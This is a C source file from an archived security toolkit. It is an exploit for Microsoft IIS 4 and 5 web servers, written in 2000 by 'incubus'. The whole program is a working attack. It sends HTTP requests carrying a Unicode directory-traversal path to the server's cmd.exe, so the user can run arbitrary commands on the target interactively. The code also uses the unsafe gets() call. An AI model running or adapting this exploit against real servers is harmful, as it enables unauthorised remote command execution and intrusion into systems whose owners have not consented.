home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webserver / iis / iisex.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  2KB  |  68 lines

  1. /* iisex iis exploit  (<- nost's idea) v2
  2.  * --------------------------------------
  3.  * Okay.. the first piece of code was not really finished.
  4.  * So, i apologize to everybody.. 
  5.  *
  6.  * by incubus <incubus@securax.org>
  7.  *
  8.  * grtz to: Bio, nos, zoa, reg and vor... (who else would stay up 
  9.  * at night to exploit this?) to securax (#securax@efnet) - also 
  10.  * to kim, glyc, s0ph, tessa, lamagra and steven.
  11.  */ 
  12.      
  13. #include <netdb.h>
  14. #include <netinet/in.h>
  15. #include <sys/types.h>
  16. #include <sys/socket.h>
  17. #include <stdio.h>
  18. #include <stdlib.h>
  19. #include <string.h>
  20. #include <errno.h>
  21.  
  22. int main(int argc, char **argv){
  23.   char buffy[666]; /* well, what else? I dunno how long your commands are.. */
  24.   char buf[500];
  25.   char rcvbuf[8192];
  26.   int i, sock, result;
  27.   struct sockaddr_in     name;
  28.   struct hostent     *hostinfo;
  29.   if (argc < 2){
  30.     printf ("try %s www.server.com\n", argv[0]);
  31.     printf ("will let you play with cmd.exe of an IIS4/5 server.\n");
  32.     printf ("by incubus <incubus@securax.org>\n\n");
  33.     exit(0);
  34.   }
  35.   printf ("\niisex - iis 4 and 5 exploit\n---------------------------\n");
  36.   printf ("act like a cmd.exe kiddie, type quit to quit.\n");
  37.   for (;;)
  38.   {
  39.     printf ("\n[enter cmd> ");
  40.     gets(buf);
  41.     if (strstr(buf, "quit")) exit(0);
  42.     i=0;
  43.     while (buf[i] != '\n'){
  44.       if(buf[i] == 32) buf[i] = 43;
  45.       i++; 
  46.     }
  47.     hostinfo=gethostbyname(argv[1]);
  48.     if (!hostinfo){
  49.       herror("Oops"); exit(-1);
  50.     }
  51.     name.sin_family=AF_INET; name.sin_port=htons(80);
  52.     name.sin_addr=*(struct in_addr *)hostinfo->h_addr;
  53.     sock=socket(AF_INET, SOCK_STREAM, 0);
  54.     result=connect(sock, (struct sockaddr *)&name, sizeof(struct sockaddr_in));
  55.     if (result != 0) { herror("Oops"); exit(-1); }
  56.       if (sock < 0){
  57.         herror("Oops"); exit(-1);
  58.     }
  59.     strcpy(buffy,"GET /scripts/..\%c0%af../winnt/system32/cmd.exe?/c+");
  60.     strcat(buffy,buf);
  61.     strcat(buffy, " HTTP/1.0\n\n");
  62.     send(sock, buffy, sizeof(buffy), 0);
  63.     recv(sock, rcvbuf, sizeof(rcvbuf), 0);
  64.     printf ("%s", rcvbuf);
  65.     close(sock);
  66.   }
  67. }
  68. /*                   www.hack.co.za   [18 November 2000]*/